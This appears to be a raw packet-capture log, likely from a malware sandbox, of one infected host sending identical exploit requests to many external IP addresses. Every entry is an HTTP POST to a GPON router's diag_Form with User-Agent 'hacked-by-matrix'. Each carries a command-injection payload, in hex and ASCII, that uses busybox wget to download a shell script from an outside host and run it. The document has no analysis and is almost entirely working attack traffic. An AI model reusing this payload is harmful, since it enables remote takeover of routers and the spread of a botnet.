Mar 21, 2024 05:27:02.415412903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1598	192.168.2.23	38132	109.108.169.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415442944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1599	192.168.2.23	40754	210.140.145.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415499926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1600	192.168.2.23	47330	212.84.8.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415532112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1601	192.168.2.23	54436	5.39.143.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415545940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1602	192.168.2.23	50622	109.167.166.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415551901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1603	192.168.2.23	60870	210.212.112.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415589094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1604	192.168.2.23	58768	109.149.135.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415640116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1605	192.168.2.23	55978	37.145.20.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415674925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1606	192.168.2.23	57278	212.132.29.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415676117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1607	192.168.2.23	51240	212.18.156.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415677071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1608	192.168.2.23	60602	178.46.140.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415704966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1609	192.168.2.23	34626	210.123.139.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415759087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1610	192.168.2.23	57756	2.74.234.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415790081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1611	192.168.2.23	53510	210.156.18.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415795088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1612	192.168.2.23	35786	5.31.154.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415807962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1613	192.168.2.23	48258	94.219.40.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415817976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1614	192.168.2.23	39350	210.82.38.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415834904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1615	192.168.2.23	58104	210.54.204.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415858030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1616	192.168.2.23	58956	37.179.69.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416105986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1617	192.168.2.23	36126	178.107.185.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416107893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1618	192.168.2.23	56622	210.210.233.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416112900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1619	192.168.2.23	58998	79.247.168.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416142941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1620	192.168.2.23	42102	212.26.147.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416146040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1621	192.168.2.23	42754	178.81.101.28	443

Timestamp	Bytes transferred	Direction	Data
